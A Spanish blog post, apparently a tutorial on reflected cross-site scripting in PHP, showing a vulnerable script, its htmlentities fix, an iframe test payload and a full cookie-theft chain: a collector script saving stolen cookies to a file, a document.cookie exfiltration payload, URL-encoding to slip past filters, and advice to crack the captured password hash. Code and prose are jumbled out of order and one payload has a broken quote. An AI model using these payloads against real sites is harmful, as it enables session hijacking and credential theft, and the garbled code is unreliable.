Sin duda, la culpa es de los programadores, no validar las entradas es un error terrible y aunque en estos casos estas vulnerabilidades no fueran explotables nos hacen quedar en ridículo. En cualquier caso hoy trataré de dar la imagen más peligrosa de los XSS para ver si de una vez la gente se mentaliza.
Por ello mismo haremos un simple paseo por scripts tontos y scripts menos tontos. Lo primero de todo es la teoría. La teoría dice que para probar un XSS usaremos un simple document.Alert de javascript para ver si se nos muestra por pantalla la típica ventana de advertencia. A mi me gustan mas los iframes, por ello mismo usaremos este código:
<iframe src=http://donzeyt.blogspot.com>Para ver si es vulnerable nuestro atacante tan sólo habría que añadir en el campo de búsqueda $_POST o en cualquier parámetro $_GET el siguiente código. Nosotros por comodidad, lo haremos con $_GET.
Vulnerable1.php
<?phpPara arreglarlo hubiera sido tan sencillo como:
$seccion = $_GET["seccion"];
echo "Usted esta en ".$seccion;
?>
<?phpEn cualquier caso probaremos nuestro ataque. Para ello iremos a:
$seccion = htmlentities($_GET["seccion"]);
echo "Usted esta en ".$seccion;
?>
http://nuestroservidor.example.com/Vulnerable1.php?seccion=<iframe src=http://donzeyt.blogspot.com>Si aparece un iframe con la página es que las cosas funcionan bastante
Perfecto, este es un ejemplo de los mas sencillos. Ahora mismo vamos a pasar al más grave, de la inocentada a lo gordo. El script vulnerable sigue siendo el mismo solo que añadiremos una cookie. Todavía no hemos hablado de esto pero lo veremos por encima.
Vulnerable2.php
Una vez guardado crearemos el script al que llamaremos para que guarde la información.<?php
$seccion = $_GET["seccion"];
$contraseña = sha1($_GET["pass"]);
setcookie("contraseña", $contraseña , time()+ 3600);
echo "Usted esta en ".$seccion;
?>
come_cookies.php
<?phpEste script nos guardará las cookies en un fichero de texto y será al que invocaremos. En este caso en vez de usar el iframe, he decidido usar el document location de javascript.
$cookie = $_GET["cookie"];
$fp = fopen("robada.txt", 'w');
fwrite($fp, $cookie);
fclose($fp);
?>
<script>document.location=http://nuestroservidor.example.com/come_cookies.php?cookie=' +document.cookie</script>Muchos servidores normalmente suelen llevar protección de scripts pero esta es fácilmente saltable codificando nuestra cadena a HEX o directamente mediante la codificación del a URL. Existen gran cantidad de conversores online gratuitos, os recomiendo este. Una vez codificado quedaría así:
%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3EListo, ya sólo queda atacar, para ello tocará lo siguiente:
http://nuestroservidor.example.com/Vulnerable2.php?pass=hola&seccion=%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3ESi todo ha ido bien, cookie robada, con ella crackearemos la contraseña por fuerza bruta o diccionario y listo.
No hay comentarios:
Publicar un comentario